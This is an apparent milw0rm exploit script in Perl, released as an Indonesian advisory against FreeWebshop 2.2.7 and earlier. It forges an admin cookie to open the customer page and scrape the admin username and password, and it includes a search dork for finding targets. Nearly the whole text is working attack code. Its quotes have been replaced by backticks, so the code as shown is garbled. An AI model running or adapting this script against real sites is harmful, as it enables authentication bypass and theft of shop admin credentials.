FreeWebshop <= 2.2.7 (cookie) Admin Password Grabber Exploit#!/usr/bin/perl
#
# Indonesian Newhack Security Advisory
# ------------------------------------
# FreeWebshop <= 2.2.7 - (cookie) Admin Password Grabber Exploit
# Waktu			:  Dec 17 2007 04:50AM
# Software		:  FreeWebshop <= 2.2.7
# Vendor		:  http://www.freewebshop.org/
# Demo Site		:  http://www.freewebshop.org/demo/
# Ditemukan oleh	:  k1tk4t  |  http://newhack.org
# Lokasi		:  Indonesia
# Dork			:  `Powered by FreeWebshop`
#
# Terima Kasih untuk;
# -[opt1lc, fl3xu5, ghoz]-
# str0ke, DNX, xoron, cyb3rh3b, K-159, the_hydra, y3dips
# nyubi,iFX,sin~X,kin9k0ng,bius,selikoer,aldy_BT
# Komunitas Security dan Hacker Indonesia
#
# ----------------------------[Cookie Injection]------------------------------------
use LWP::UserAgent;
use HTTP::Cookies;

if(!$ARGV[1])
{
 print `\n  |-------------------------------------------------|`;
 print `\n  |         Indonesian Newhack Technology           |`;
 print `\n  |-------------------------------------------------|`;
 print `\n  |FreeWebshop 2.2.7 (cookie) Admin Password Grabber|`;
 print `\n  |     Found by k1tk4t [k1tk4t(at)newhack.org]     |`;
 print `\n  |-------------------------------------------------|`;
 print `\n[!] `;
 print `\n[!] Penggunaan : perl freewebshop227.pl [URL] [Path] `;
 print `\n[!] Contoh     : perl freewebshop227.pl http://korban.site /WebShop/`;
 print `\n[!] `;
 print `\n`;
 exit;
}

my $site = $ARGV[0]; # Site Target
my $path = $ARGV[1]; # Path direktori envolution_1-0-1

my $www = new LWP::UserAgent;
#my @cookie = ('Cookie' => `cookie_info=admin-1`); #Untuk Versi < = 2.2.4
my @cookie = ('Cookie' => `fws_cust=admin-1`); #Untuk Versi > = 2.2.6
my $http = `$site/$path/index.php?page=customer&amp;action=show`;
print `\n\n [~] Sedang Mencari Username dan Password.... \n`;
my $injek = $www -> get($http, @cookie);
my $jawaban = $injek -> content;
if( $jawaban =~ /login value='(.*)'/ ){ print `\n [+] Username: $1`; 
$jawaban =~ /`password` name=`pass1` size=`10` maxlength=`10` value=`(.*)`/ , print `\n [+] Password: $1 \n`;} 
else {print `\n [-] Gagal  :(  , Coba yang lain!`;}

# ----------------------------[Selesai]------------------------------------

# milw0rm.com [2007-12-18]